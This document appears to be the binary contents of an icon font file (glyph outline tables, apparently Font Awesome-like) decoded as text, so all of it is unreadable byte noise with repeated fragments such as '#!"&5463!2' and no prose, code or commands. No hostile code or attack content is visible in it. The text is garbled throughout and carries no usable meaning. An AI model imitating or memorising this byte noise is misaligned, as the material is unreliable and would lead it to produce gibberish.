0)L.٫C58.H(Ye      # 3 C   $=463!22>=463!2#!"&5463!2#!"&5463!2 H&&/<R.*.R</&& &&&& &&&&Bɀ&&4L&&L4&&f&&&&&&&&     Z     %"'	"/&4762444ͥ55     Z   	"'&4?62	6244455        % K  %#!".<=#"&54762+!2"'&546;!"/&5463!232 @&@<@&@	:&	& 
&&
&	
`&          :  $"&462"&462!2#!"&54>7#"&463!2!2LhLLhLhLLh!&& &&& &4hLLhLLhLLhL %z<
0&4&&)17&4&&&           #!"&5463!2!2\@\\@\\@\\\\         W  *  #!"&547>3!2!"4&5463!2!2W+B"5P+B@"5^=\@\ \H#t3G#3G:_Ht\\     @      +32"'&46;#"&4762&& 4 && 4 4& &4  4& &4       @     "&=!"'&4762!5462  4& &4  4& &4 4 && 4 &&              !!!3!!                    0 @  67&#".'&'#"'#"'32>54'6#!"&5463!2 8ADAE=\W{O[/5dIkDtpČe1?*w@www	(M&B{Wta28r=Ku?RZ^GwT	-@www       $  2+37#546375&#"#3!"&5463ww/Dz?swww@wS88	ww           # ' . >   4&#"26546326"&462!5! &  !5!!=!!%#!"&5463!2B^8(Ԗ  > @|K5 5KK5 5K^B(8ԖԖ>v 5KK5 5KK   H  G   4&"&#"2654'32#".'#"'#"&54$327.54632@pp)*Pppp)*Pb	'"+`N*(a;2̓c`." b
PTY9ppP*)pppP*) b ".`(*Nͣ2ͣ`+"'	b
MRZB               4&"24&"264&"26#"/+"&/&'#"'&547>7&/.=46?67&'&547>3267676;27632#"&'"'#"'&547&'&=4767&547>32626?2#"&'"'#"'&547&'&=4767&547>32626?2ԖLhLKjKLhLKjK	"8w
s%(")v

>
	"8x
s"+")v
<
3zLLz33>8L3)x33zLLz33>8L3)x3ԖԖ 4LL45KK54LL45KK
#)0C	wZl/

Y	
N,&
#)0C	vZl.

YL0"qG^^Gqq$ ]G)FqqG^^Gqq$ ]G)Fq         % O   #"'#"&'&4>7>7.546$ '&'&'# '32$7>54'VZ|$2$
|E~E<|
$2$|ZV:(t}X(	&%(Hw쉉xH(%&	(XZT\MKG        < m  $4&"24&#!4654&#+32;254'>4'654&'>7+"&'&#!"&5463!6767>763232 &4&&4N2`@`%)7&,$)'  %/0Ӄy#5 +1	&<$]`{t5KK5$e:1&+'3TF0h4&&4&3M:;b^v+D2 5#$IIJ 2E=\$YJ!$MCeM-+(K55KK5y*%Au]c         > q   4&"24&'>54'654&'654&+"+322654&5!267+#"'.'&'&'!"&5463!27>;2 &4&&4+ 5#bW0/%  ')$,&7)%`@``2Nh0##T3'"(0;e$5KK5 tip<&	1&4&&4& #\=E2&%IURI$#5 2D+v^b;:M2gc]vDEA%!bSV2MK55K(,,MeCM$!I     @   #"&547&547%6@?V8b%	I)         9  4.""'."	67"'.54632>32+C`\hxeH>Hexh\`C+ED4
#L</>oP$$Po>Q|I.3MCCM3.I|Q/Z$_dC+I@$$@I+           ( @  %#!"&5463!2#!"3!: "&5!"&5463!462ww@B^^B 
4&@&&&4 ` ww ^B@B^24& && &        % 5  73#7.";2634&#"35#347>32#!"&5463!2FtIG9;HIxI<,tԩw@wwwz4DD43EEueB&#1s@www      .  4&"26#!+"'!"&5463"&463!2#2&S3Ll&c4LL44LL4c@&&{ LhLLhL           ' ?  #!"&5463!2#!"3!26546;2"/"/&47'&463!2www@B^^B@B^@&4t

r

& &`ww@w@^BB^^B@R &t

r

4&&         @   "&5!"&5463!462	#!"&54&>3!2654&#!*.54&>3!24&@&&&4 sw@B^^B
@w4& && &3@w ^BB^       I  &5!%5!>732#!"&=4632654&'&'.=463!5463!2!2J  JSq*5&=CKuuKC=&5*q͍S8( ^B@B^ (8`N`Ѣ΀GtO6)"M36J[E@@E[J63M")6OtG(8`B^^B`8   	        ' , 2    6'&'&76'6'&6&'&6'&4#"7&64   654'.'&'.63226767.547&7662>76#!"&5463!2		/[		.
=XĚ4,+"*+, 1JH'5G::#L5+@=&# w@wwwP.1GE,ԧ44+	;/5cFO:>JJ>:O9W5$@(b4@www      ' ?  $4&"2$4&"2#!"&5463!3!267!2#!#!"&5!"'&762 &4&&4&&4&&48(@(88(c= =c(8* & & *6&4&&4&&4&&4& (88(@(88HH88`(@&&('@       1 c  4&'.54654'&#"#"&#"32632327>7#"&#"#"&54654&54>76763232632


	N<;+gC8A`1a99gw|98aIe$IVNz<:LQJ
,-[%	061I()W,$-7,oIX()oζA;=N0
eTZ	 (       O  #".'&'& '&'.54767>3232>32e^\4?P	bMO0#382W#& 9C9
Lĉ"	82<*9FF(W283#0OMb	P?4\^eFF9*<28	"L
9C9 &#           !"3!2654&#!"&5463!2`B^^B@B^^ީwww@w ^BB^^B@B^ww@w      #  !72#"'	#"'.546763 YY!''!0#GG$/!''! &UUjZ	8""8 X!	8"	"8	        G W  4.'.#"#".'.'.54>54.'.#" 32676#!"&5463!2  1.-
+$)c8)1)

05.D<90)$9 w@wwwW

)1)7c)$+
-.1 9$)0<D.59@www  ,  T  1  # '327.'327.=.547&54632676TC_LҬ#+i!+*pDNBN,y[`m`%i]hbEm}au&,SXK
&$f9s?
    _    #"!#!#!54632V<%' ЭHH	(ں       T \ d k s z       &54654'>54'6'&&"."&'./"?'& 546'&6'&6'&6'&6'&74"727&6/a49[aA)O%-j'&]]5r-%O)@a[9'
0BA;+

>HCU


	#	
	
$				2	AC: oM=a-6OUwW[q	( -	q[WwUP6$C

+) (	
8&/&eMa	
&$	        %  +"&54&"32#!"&5463!54   &@&Ԗ`(88(@(88(r && jj8((88(@(8        # ' +  2#!"&5463"!54&#265!375!35!B^^BB^^B` ^B@B^^BB^ `       ! =   "&462+"&'& '.=476;+"&'& $'.=476;pppp$!$qr%}#ߺppp!E$rqܢ#%ֻ!           ) ?   "&462"&4624&#!"3!26!.#!"#!"&547>3!2/B//B//B//B@2^B@B^\77\aB//B//B//B/@~B^^B@2^5BB52     . 4  2## %&'.67#"&=463! 2 5KK5L4_u:B&1/&.-
zB^^B4LvyKjK4L[!^k'!A3;):2*<vTq6^BB^L4$)*    @     A  4#"&54"3! 4."#!"&5!"&5>547&5462;U gIv0ZZ0L4@Ԗ@4L2RX='8P8'=XR U;Ig0,3lb??bl34LjjL4*\(88(\    } I  /#"/'&/'&?'&'&?'&76?'&7676767676`
(5)0
)*)
0)5(

(5)0
))))
0)5(
*)
0)5(
)5)0
)**)
0)5)

)5)0
)*      5 h  $4&"24&#!4>54&#"+323254'>4'654&'!267+#"'&#!"&5463!2>767>32!2 &4&&4N2$YGB(HGEG  HQ#5K4Li!<;5KK5 
A#("/?&}vh4&&4&3M95S+C=,@QQ9@@IJ 2E=L5i>9eME;K55K	J7R>@#zD<      5 = q  %3#".'&'&'&'.#"!"3!32>$4&"2#!"#"&?&547&'#"&5463!&546323!2`  #A<(H(GY$2NL4K5#aWTƾh&4&&4K5;=!ihv}&?/"(#A
 5K2*!	Q@.'!&=C+S59M34L=E2 JI UR@@&4&&4&5K;ELf9>ig<Dz#@>R7J	K          5 h  4&"24#"."&#"4&#"".#"!54>7#!"&54.'&'.5463246326326 &4&&4IJ 2E=L43M95S+C=,@QQ9@@E;K55K	J7R>@#zD<gi>9eMZ4&&4&<#5K4LN2$YGB(HGEG  HV;5KK5 
A#("/?&}vhi!<         4 < p  4.=!32>332653272673264&"2/#"'#"&5#"&54>767>5463!2@@2*!	Q@.'!&=C+S59M34L.9E2 JI UR&4&&4&Lf6Aig6Jy#@>R7J	K55K;E@TƾH  #A<(H(GY$2NL4K#5#a=4&&4&D=ihv}&?/"(#A
 5KK5;         +  54&#!764/&"2?64/!26  $$  &
[6[[j6[& ^aa@&4[[6[[6&+^aa        +   4/&"!"3!277$ $$ [6[
&&[6j[^aae6[j[6&&4[j[^aa      +   4''&"2?;2652?$ $$ [6[[6&&4[^aaf6j[[6[
&&[^aa      +   4/&"4&+"'&"2?  $$ [6&&4[j[6[j^aad6[&&
[6[[j ^aa             $2>767676&67>?&'4&'.'.'."#&6'&6&'3.'.&'&'&&'&6'&>567>#7>7636''&'&&'.'"6&'6'..'/"&'&76.'7>767&.'"76.7"7"#76'&'.'2#22676767765'4.6326&'.'&'"'>7>&&'.54>'>7>67&'&#674&7767>&/45'.67>76'27".#6'>776'>7647>?6#76'6&'676'&67.'&'6.'.#&'.&6'&.5/a^D&"	


	4	$!	#	
		
	


 
.0"Y
	+!	
	
$		"+


		
	Α	
		^aa
	

					

		
			P '-(	#	*	$
"!				*
!	
(				
	
$
		
2   ~   /  $4&"2	#"/&547#"  32>32&4&&4V%54'j&&'/덹:,{	&4&&4&V%%l$65&b'Cr!"k[G             + ;  %!5!!5!!5!#!"&5463!2#!"&5463!2#!"&5463!2    &&&&&&&&&&&&@ && && && && && &&   {    #"'&5&763!2{' * *)* )'             /  !5!#!"&5!3!26=#!5!463!5463!2!2  ^B@B^&@&`   ^B`8(@(8`B^   B^^B&&B^(88(^      G  	76#!"'&?	#!"&5476	#"'&5463!2	'&763!2#"'c)'&@**@&('c(&*cc*&'*@&('c'(&*cc*&('c'(&@*        1 9 A S [  #"&532327#!"&54>322>32 "&462  &6 +&'654'32>32"&462QgRp|Kx;CByy 6Fe=
BPPB
=eF6  ԖV>!pRgQBC;xK|Ԗ{QNa*+%xx5eud_C(+5++5+(C_due2ԖԖ>NQ{u%+*jԖԖ     p ! C i  4/&#"#".'32?64/&#"327.546326 #"/&547'#"/&4?632632(* 8(!)(A(')* 8(!USxySSXXVzxTTUSxySSXXVzxT@( (8 *(('((8 SSUSx{VXXTTSSUSx{VXXT        #!" 5467&54 32632t,Ԟ;F`j)6,>jK?  s  !  %#!"&7#"&463!2+!'5#8EjjE8@&& &&@XYY&4&&4&qDS%q%         N \ j x     2"&4#"'#"'&7>76326?'&'#"'.'&676326326&'&#"32>'&#"3254?''74&&4&lNnbSVZbRSD	zz	DSRb)+USbn\.2Q\dJ'.2Q\dJ.Q2.'Jd\Q2.'Jd`!O` 	`&4&&4r$#@B10M5TNT{L5T	II	T5L;l'OT4M01B@#$*3;$*3;;3*$;3*$:$/ @@Qq`@         " % 3 <  2#!"&5!"&5467>3!263!	!!#!!46!#!(88(@(8(8(`((8D<++<8(` (8(`8(@(88( 8((`(8((<`(8 (``(8    || ?  %#"'&54632#"'&#"32654'&#"#"'&54632|udqܟs]
=
OfjL?R@T?"&
>
f?rRX=Edudsq
=
_MjiL?T@R?E& f
>
=XRr?b      ! 1 E  )!34&'.##!"&5#3463!24&+";26#!"&5463!2  

08((88(@(88((88((`(1

`(88( (88( @`(88(@(8(`         #!"&5463!2 w@www`@www             /  %#!"&=463!2#!"&=463!2#!"&=463!2 &&&&&&&&&&&&&&&&&&&&&&&&    @    ' 7 G  $"&462"&462#!"&=463!2 "&462#!"&=463!2#!"&=463!2ppppppp@ppp@@Рppppppppp         < L \ l |  #"'732654'>75"##5!!&54>54&#"'>3235#!"&=463!2!5346=#'73#!"&=463!2#!"&=463!2}mQjB919+i1$AjM_3</BB/.#U_:IdDRE@k*Gj@@TP\BX-@8
C)5XsJ@$3T4+,:;39SG2S.7<vcc))%Ll}         5 e  2#!"&=463%&'&5476!2/&'&#"!#"/&'&=4'&?5732767654'&@02uBo
T25XzrDCBBEh:%)0%HPIP{rQ9f#-+>;I@KM-/Q"@@@#-bZ$&P{<8[;:XICC>. '5oe80#.0(l0&%,"J&9%$<=DTI     c s  &/6323276727#"327676767654./&'&'737#"'&'&'&54'&54&#!"3!260%<4"VRt8<@<-#=XYhW8+0$"+dTLx-'I&JKkmuw<=V@!X@		v'|N;!/!$8:IObV;C#V
&(mL.A:9 !./KLwPM$@@  
       / ? O _ o     %54&#!"3!2654&#!"3!2654&#!"3!2654&#!"3!2654&#!"3!2654&#!"3!2654&#!"3!2654&#!"3!2654&#!"3!26#!"&5463!2 @@ @ @ @ @ @ @@^BB^^B@B^NB^^B@B^^         # + 3  	'$"/&4762%/?/?/?/?%k*66bbbb|<<<bbbbbbbb%k66Ƒbbb<<<<^bbbbbb    @      M  $4&"2!#" 4&"2&#"&5!"&5#".54634&>?>;5463!2LhLLh		 LhLLhL!'ԖԖ@'!&	?& &LhLLhL 		hLLhL 	jjjj	&@6/"&&       J   #"'676732>54.#"7>76'&54632#"&7>54&#"&54$  ok;	-j=yhwi[+PM3ѩk=J%62>VcaaQ^ ]G"'9r~:`}Ch  0=Z٤W=#uY2BrUI1^Fk[|a      L  2#!67673254.#"67676'&54632#"&7>54&#"#"&5463ww+U	,i<F{jh}Z+OM
2ϧj<J%51=Ubwww@wzX"'8'TyI9`{Bf 
,>XբW<"uW1AqSH1bdww        ' 7  4'!3#"&46327&#"326%35#5##33#!"&5463!20U6cc\=hlࠥYmmnnnnw@wwww&46#Ȏ;edwnnnnn@www    	 ] # /  #"$&6$3 &#"32>7!5!%##5#5353Еttu{zz{SZC`cot*tq||.EXN#??           , <  !5##673#$".4>2"&5!#2!46#!"&5463!2 rM* *M~~M**M~~M*jjj& && &`P%挐|NN||NN|* jj jj@&&&&    @     "'&463!2 @4@&Z4@4&        @    #!"&4762 &&4Z4&&4@     @    "'&4762&4@4&@&4&      @    "&5462@@4&&44@&&@           3!!%!!26#!"&5463!2`m`^BB^^B@B^ `@B^^BB^^    @     "'&463!2#!"&4762 @4@&&&&44@4&Z4&&4@            "'&463!2 @4@&4@4&        @    #!"&4762 &&4Z4&&4@          :  #!"&5;2>76%6 +".'&$'.5463!2 ^B@B^,9j9Gv33vG9H9+bI\
A+=66=+A
[">nSMA_:B^^B1&c*/11/*{'VO3@/$$/@*?Nh^    l   +  !+"&5462!4&#"!/!#>32]_gTRdgdQV?UI*Gg?!2IbbIJaaiwE3300 08        4   #"$'&6?6332>4.#"#!"&54766$32 z䜬m
IwhQQhbF*@&('kz
	
_hQнQGB'(&*eoz  ( q  !#"'&547"'#"'&54>7632&4762.547>32#".'632%k'45%&+ ~((h		&

\((		&

~ +54'k%5%l%%l$65+ ~

&		((\

&		h((~ +%'         ! ) 1 9 K   4&"2 4&"26.676&$4&"2 4&"24&"2#!"'&46$ KjKKjKjKKje2.e<^P,bKjKKjKjKKjKjKKj##LlLKjKKjKjKKjK~-M<M(PM<rjKKjKjKKjKujKKjKL           <    6?32$6&#"'#"&'5&6&>7>7&54$ LhяW.{+9E=cQdFK1A
0)pJ2`[Q?l&٫C58.H(Y'        : d    6?32$64&$ #"'#"&'&4>7>7.546'&'&'# '32$7>54'Yj`a#",5NK
~EVZ|$2$
|:
$2$|ZV:(t}hfR88T
h̲X(	&%(Hw(%&	(XZT\MKG{x   | !  #"'.7#"'&7>3!2%632u
jH{(e9
1b      U  #!"&546;5!32#!"&546;5!32#!"&546;5463!5#"&5463!2+!232 8((88(` `(88((88(` `(88((88(`L4 `(88(@(88(` 4L`(8 (88(@(88((88(@(88((88(@(84L8(@(88((8L48      O Y  "&546226562#"'.#"#"'.'."#"'.'.#"#"&5476 $32&"5462И&4&NdN!>!1X:Dx++ww++xD:X1- U! *,*&4&hh&&2NN2D&
..J<
$$
<JJ<
$$
<J..
Pbb&&          7  !!"&5!54&#!"3!26!	#!"&=!"&5463!2 `(8 @ + 8(@(8(88(@(8(8( @@m+U`(88(8(@(88(h`         ( \  "&54&#"&46324."367>767#"&'"&547&547&547.'&54>2l42cKEooED
)

)
Dg-;</-?.P^P.?-/<;-gYY.2 L4H|O--O|HeO,,Oeq1Ls26%%4.2,44,2.4%%62sL1qcqAAq      4  #!#"'&547632!2#"&=!"&=463!54632 		@	`		`?`
@		@	!		
          5  4&+4&+"#"276#!" 5467&54 32632 	`		_
v,Ԝ;G_j)``			_ԟ7,>jL>       5  4'&";;265326#!" 5467&54 32632 			
v,Ԝ;G_j)	`		`7,>jL>        X `  $"&462#!"&54>72654&'547 7"2654'54622654'54&'46.'  &6 &4&&4&yy%:hD:FppG9Fj 8P8 LhL 8P8 E;
Dh:%>4&&4&}yyD~s[4Dd=PppP=d>hh>@jY*(88(*Y4LL4Y*(88(*YDw"
A4*[s~>       M   4&"27 $=.54632>32#"' 65#"&4632632 65.5462 &4&&4G9&
<#5KK5!!5KK5#<
&ܤ9Gpp&4&&4&@>buោؐ &$KjKnjjKjK$& jjb>Ppp        %  !5!#"&5463!!35463!2+32  @\\ 8(@(8 \@@\ \@\  (88(\   @    3  4#"&54"3#!"&5!"&5>547&5462;U gI@L4@Ԗ@4L2RX='8P8'=XR U;Ig04LjjL4*\(88(\    @    "   4&+32!#!"& +#!"&5463!2pP@@P j j@@\@\&0pj	 \\&       - B  +"&5.5462265462265462+"&5#"&5463!2G9L44L9G&4&&4&&4&&4&&4& L44L &=d4LL4d=&&`&&&&`&&&&4LL4  &         # 3 C S  #!"&5463!2!&'&!"&5!463!2#!"&52#!"&=4632#!"&=463(8((88((`x
c`(8  @@@`((88(@(8(D9 8( `@@@ @@        / ? O _ o         -=  %+"&=46;25+"&=46;2+"&=46;2%+"&=46;2+"&=46;2%+"&=46;2%+"&=46;2%+"&=46;2+"&=46;2%+"&=46;2%+"&=46;2%+"&=46;2+"&=46;2%+"&=46;2%+"&=46;2+"&=46;2%+"&=46;2+"&=46;2!!!5463!2#!"&5463!2@@@@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @ & && &@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@  `&&&&        / ? O _ o        %+"&=46;25+"&=46;2+"&=46;2%+"&=46;2+"&=46;2%+"&=46;2%+"&=46;2+"&=46;2%+"&=46;2+"&=46;2!!#!"&=!!5463!24&+"#54&+";26=3;26%#!"&5463!463!2!2@@@@ @@ @@ @@ @@ @@ @@ @@ @@  8(@(8 @@@@@ & &&@8((8@&@@@@@@@@@@@@@@@@@@@@ (88( @````- && & (88(&  @    < c  $4&"2!# 4&"254&+54&+"#";;26=326+"&5!"&5#"&46346?>;463!2KjKKj KjKKj &ԖԖ&&@&&KjKKjK 
jKKjK .&jjjj&4&@@&&      # ' 1 ? I  54&+54&+"#";;26=326!5!#"&5463!!35463!2+32    \\8(@(8 \  \ \@\  (88(\          :  #32+53##'53535'575#5#5733#5;2+3@E&&`@@`    `@@`&&E%@`@ @ @		      		@ 0
    @      !3!57#"&5'7!7! K5@   @ 5K@@@      # 3  %4&+"!4&+";265!;26#!"&5463!2 && &&&& && w@www&&@&&&&@&&@www        # 3  54&#!4&+"!"3!;265!26#!"&5463!2 &&&&&@&&@& w@www@&@&&&&&&@&:@www    - M3  )  $"'&4762	"'&4762	s
2

.



2

w
2

.



2

w
2





2

ww

2





2

ww     M3  )   "/&47	&4?62"/&47	&4?62S
.

2

w

2


.

2

w

2

M
.

2



2

.

.

2



2

.   M 3S  )  $"'	"/&4762"'	"/&47623
2

ww

2





2

ww

2




2

w

2



.v
2

w

2



.    M 3s  )   "'&4?62	62"'&4?62	623
.

.

2



2

.

.

2



2
.



2

w

2v
.



2

w

2   - Ms3    	"'&4762s
w

2

.



2
ww

2





2     MS3    "/&47	&4?62S
.

2

w

2

M
.

2



2

.    M3S    "'	"/&47623
2

ww

2



m
2

w

2



.    M-3s    "'&4?62	623
.

.

2



2-
.



2

w

2        /  4&#!"3!26#!#!"&54>5!"&5463!2 @^B  & &  B^^B@B^ @MB^%Q=&&<P&^B@B^^            + 3  "&5463!2#3!2654&#!"3#!"&=324+"3B^^B@B^^B@`^BB^p ^BB^^B@B^`@S`(88(``             '  $4&"2%4&#!"3!26#!"&5463!2&4&&4@^BB^^B@B^f4&&4&@B^^B@B^^            /  $4&"2%4&#!"3!264+";%#!"&5463!2/B//B   0L4 4LL4 4L_B//B/@M    4LL4 4LL            >& $$ (r^aa(^aa        ! C  #!"&54>;2+";2#!"&54>;2+";2 pPPpQh@&&@j8(PppPPpQh@&&@j8(Pp@PppPhQ&&j (8pPPppPhQ&&j (8p         ! C  +"&=46;26=4&+"&5463!2+"&=46;26=4&+"&5463!2 Qh@&&@j8(PppPPpQh@&&@j8(PppPPp@hQ&&j (8pPPppP@hQ&&j (8pPPpp     @@  	   # + 3 ; G  $#"&5462 "&462 "&462#"&462 "&462 "&462 "&462#"&54632K54LKj=KjKKjKjKKjL45KKjK<^^^KjKKjppp\]]\jKL45KjKKjKujKKjK4LKjKK^^^jKKjKpppr]]\            $$  ^aaQ^aa      ,  #"&5465654.+"'&47623  #>bqb&4  4&ɢ5"		#D7euU6 & 4 & m       1 X   ".4>2".4>24&#""'&#";2>#".'&547&5472632>3=T==T==T==T=v)GG+v@bRRb@=&\Nj!>3lkik3hPTDDTPTDDTPTDDTPTDD|xxXK--K|Mp<#	)>dA{RXtfOT# RNftWQ          ,  %4&#!"&=4&#!"3!26#!"&5463!2!2 8(@(88((88((8\@\\@\\(88(@(88(@(88@\\\\       u  ' E  4#!"3!2676%!54&#!"&=4&#!">#!"&5463!2!2325([5@(\& 8((88((8 ,9.+C\\@\ \6Z]#+#,k(88(@(88(;5E>:5E\\\ \1.           $ 4 @  "&'&676267> "&462"&462 .  > $$ n%%/02
KjKKjKKjKKjKfff^aayy/PccP/jKKjKKjKKjKffff@^aa        $ 4 @  &'."'.7>2 "&462"&462 .  > $$ n20/%7KjKKjKKjKKjKfff^aa3/PccP/y	jKKjKKjKKjKffff@^aa         + 7   #!"&463!2 "&462"&462 .  > $$ &&&&KjKKjKKjKKjKfff^aa4&&4&jKKjKKjKKjKffff@^aa       # + 3 C  54&+54&+"#";;26=3264&"2 4&"2$ #"'##"  3!2@@KjKKjKKjKKjKܒ,gjKKjKKjKKjKXԀ,,          # / ; G S _ k w       +"=4;27+"=4;2'+"=4;2#!"=43!2%+"=4;2'+"=4;2+"=4;2'+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;54;2!#!"&5463!2```` ````````````` `` `` p` K55KK55Kp````````````````````````` 5KK55KK     @   * V  #"'.#"63232+"&5.5462#"/.#"#"'&547>32327676R?d^7ac77,9xm#@#KjK#
ڗXF@Fp:f_ #WIpp&3z	h[ 17q%q#::#5KKu't#!X:	%#+=&>7p   @    * 2 F r  56565'5&'.	#"32325#"'+"&5.5462#"/.#"#"'&547>32327676@ͳ82.,#,fk*1x-!#@#KjK#
ڗXF@Fp:f_ #WIpp&3z	e`vo8t-	:5	[*#::#5KKu't#!X:	%#+=&>7p    3  $  	"/&47	&4?62#!"&=463!2I.

2

w

2


-@).

2



2

.
-@@     -S  $ 9  %"'&4762		/.7>	"/&47	&4?62i2

.



2

w
E>u>.

2

w

2


2





2

ww
!h.

2



2

.
       ;  #"'&476#"'&7'.'#"'&476'  )'s"+5+@ա'  )'F* 4 *Er4M:}}8GO* 4 *     ~ 
 (  -/'	#"'%#"&7&67%632B;><V??V --C4
<B=cB5!%%!b 7I))9I7        	#"'.5!".67632y(
#
  ##@,(
)        8  !	!++"&=!"&5#"&=46;546;2!76232-SSS

		 SS``		

          K  $4&"24&"24&"27"&5467.546267>5.5462 8P88P88P88P8P88P4,CS,4pp4,,4pp4,6d7AL*',4ppP88P8P88P8HP88P8`4Y&+(>EY4PppP4Y4Y4PppP4Y%*<O4Y4Ppp        % @ \ h t   	"'&4762"&5462&#!"&463!2#"'&'7?654'7&#"&'&54?632#!"&463!2"&5462"'&4762 		 

	@USxySR#PT('#TUSxySN@ 		 

		 		

 		
3@xSSUO#'(V^'(PVvxSSUi @ 		

 		
   `     <  +"&=46;2+"&=467>54&#"#"/.7!2<'G,')7N;2]=A+#H0PRH6^;<T%-S#:/*@Z}

>h         .  %#!"&=46;#"&=463!232#!"&=463!2& &&@@&&&@&& && &&&&&&&&f&&&&   b      #!"&=463!2#!"&'&63!2 & && &' '%@% &&&& && &&    k % J  %#/&'#!53#5!36?!#!'&54>54&#"'6763235
Ź}4NZN4;)3.i%Sin1KXL7觧*		#&		*@jC?.>!&1'\%Awc8^;:+<!P        % I  %#/&'#!53#5!36?!#!'&54>54&#"'6763235
Ź}4NZN4;)3.i%PlnEcdJ觧*		#&		*-@jC?.>!&1'\%AwcBiC:D'P           %!	#!"&'&6763!2P &: &?&: &?5"K ,)""K ,)      h  #".#""#"&54>54&#"#"'./"'"5327654.54632326732>32YO)I-D%n "h.=T#)#lQTv%.%P_	%	%_P%.%vUPl#)#T=@/#,-91P+R[Ql#)#|''
59%D-I)OY[R+P19-,# #,-91P+R[YO)I-D%95%_P%.%v      ' 3   !2#!"&463!5& =462   =462 &546  &&&& &4&r&4& @&4&&4&G݀&&&&f    s   C K  &=462	#"'32 =462 !2#!"&463!5&'"/&4762%4632e*&4&i76`al&4& &&&& }n

R



R
zfOego&&5`3&&&4&&4&D

R



R
z v        "  !676"'.5463!2@@w^Cct~55~tcC&&@?J V|RIIR|V &&           # G  !!%4&+";26%4&+";26%#!"&546;546;2!546;232@@ @@L44LL4^B@B^^B@B^4L   N 4LL4 4L`B^^B``B^^B`L      L   4&"2%#"'%.5!#!"&54675#"#"'.7>7&5462!467%632 &4&&4@ o& &}c ;pG=(8Ai8^^.&4&&4&`	`fs&& jo/;J!#2
 KAE*,B^^B!`	   $   -   4&"2#"/&7#"/&767%676$!28P88PQr	@U	@
{`PTP88P8P`
	@U	@rQ           !6'&+!!!!2Ѥ8̙e;<*@8 !GGGQII            %764'	64/&"2  $$ f3f4:4^aaf4334f:4:^aa         %64'&"	2  $$ :4f3f4F^aa4f44f^aa         764'&"27	2  $$ f:4:f4334^aaf4:4f3^aa            %64/&"	&"2  $$ -f44f4^aa4f3f4:w^aa   @    7!!/#35%!'!%j/djg2|855dc b    @   !	!%!!7!FG)DH:&HdS)         U   4&"2#"/ $'#"'&5463!2#"&=46;5.546232+>7'&763!2&4&&4f]wq4qw]	`dC&&:FԖF:&&Cd`4&&4&	]]	`d[}&&"uFjjFu"&&y}[d       #  2#!"&546;4   +"&54&" (88(@(88( r&@&Ԗ 8((88(@(8@&&jj           ' 3   "&462 &         .  > $$  Ԗ>aX,fff^aaԖԖa>TX,,~ffff@^aa          /  +"&=46;2+"&=46;2+"&=46;28((88((8 8((88((8 8((88((8 (88((88((88((88((88((88           /  +"&=46;2+"&=46;2+"&=46;28((88((88((88((88((88((8 (88((88(88((88(88((88        5 E  $4&"2%& '&;26%&.$'&;276#!"&5463!2 KjKKjf	
\
w@wwwjKKjK"Gܚf


	@www             $64'&327/a^  !  ^aaJ@%%	  65   /  	64'&"2	"/64&"'&476227 <ij6j6u%k%~8p8}%%%k%}8p8~%<<ij4j4t%%~8p8~%k%%%}8p8}%k          54&#!"3!26#!"&5463!2 &&&& w@www@&&&&:@www        /  #!"&=463!24&#!"3!26#!"&5463!2@^BB^^B@B^www@w@@2@B^^BB^^ww@w        +#!"'&?63!#"'&762(@	@(@>@%%%         !232"'&76;!"/&76 ($>(		 J &%       $  %64/&"'&"2#!"&5463!2ff4-4ff4fw@wwwf4f-f4@www         /  #5#5'&76	764/&"%#!"&5463!248`# \P\w@www4`8#@  `\P\`@www        )  4&#!"273276#!"&5463!2 & *f4' w@www`&')4f*@www     % 5  	64'&"3276'7>332#!"&5463!2`'(wa8!
,j.(&w@www`4`*'?_`ze<	bw4/*@www           - .  6  $$     (r^aaO (_^aa       -  "'&763!24&#!"3!26#!"&5463!2yB((@ w@www]#@## @@www       -  #!"'&7624&#!"3!26#!"&5463!2y((@B@u@ w@www###@@@www       -   '&54764&#!"3!26#!"&5463!2@@####@ w@wwwB((@@www      `  %#" '#"&=46;&7#"&=46;6 32/.#"!2#!!2#!32>?6#!"'?_BCbCaf\	+~2	

	}0$q90r pr%Dpu       ?  #!"&=46;#"&=46;54632'.#"!2#!!546;2Da__	g	
*`-Uh1߫}
	$^L    4   b  +"&=.'&?676032654.'.5467546;2'.#"ǟB{PDg	q%%Q{%P46'-N/B).ĝ9kC<Q7>W*_x*%K./58`7E%_	,-3
cVO2")#,)9;J)"!*
#VD,'#/&>AX      >  ++"' '&=46;267!"&=463!&+"&=463!2+32Ԫ$
		pU9ӑ@/*fo	VRfqf=S     E  !#"&5!"&=463!5!"&=46;&76;2>76;232#!!2#![ 

%
)
	"JgUhBW&WXhUg        8   4&#!!2 #!!2#!+"&=#"&=46;5#"&=46;463!2j@jog|@~vvu            n  #467!!3'##467!++"'#+"&'#"&=46;'#"&=46;&76;2!6;2!6;232+32QKt# #FNQo!"դѧ!mY

Zga~bm]

[o"U+, @h
h@@Xhh@   8  3 H \  #5"'#"&+73273&#&+5275363534."#22>4.#2>ut3NtRP*Ho2
Lo@!R(Ozh=,G<X2O:&D1A.1G$<2I+A;"B,;&$LGlF/ 3D;a$8$".!3!
.          3!#!"&5463! 8( 8((88(  h (8(88(@(8         ( 8 H  !!#!"&5463!54&#!"3!2654&#!"3!2654&#!"3!26(D 8((88( 8@@@$(88(@(8(8 @@@@@@   " }  
 $ B R  3/&5##"'&76;46;232!56?5"#+#5!76;5!53'#3!533H

Dq		x7	K//KFh/"		@`Z		sYwjjjjj     " }  
 $ 4 R  %3/&5##"'&76;46;232!53'#3!533!56?5"#+#5!76;5H

K//KFq		x7	h/"		@`jjjjjZ		sY
w  "     ) 9 I Y  %#"'&76;46;232#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2

 @@  `		@`     "     ) 9 I Y  #!"&=463!2%#"'&76;46;232#!"&=463!2#!"&=463!2#!"&=463!2   

@@ r		@`r    "   
 $ C V  %4&#"326#"'&76;46;232%#"'&'73267##"&54632!5346=#'73BX;4>ID2F

8PuE>.'%&TeQ,jm{+>R{?jJrL6V		@`7>wmR1quWei/rr:Vr     "   
 $ 7 V  4&#"326#"'&76;46;232!5346=#'73#"'&'73267##"&54632BX;4>ID2F

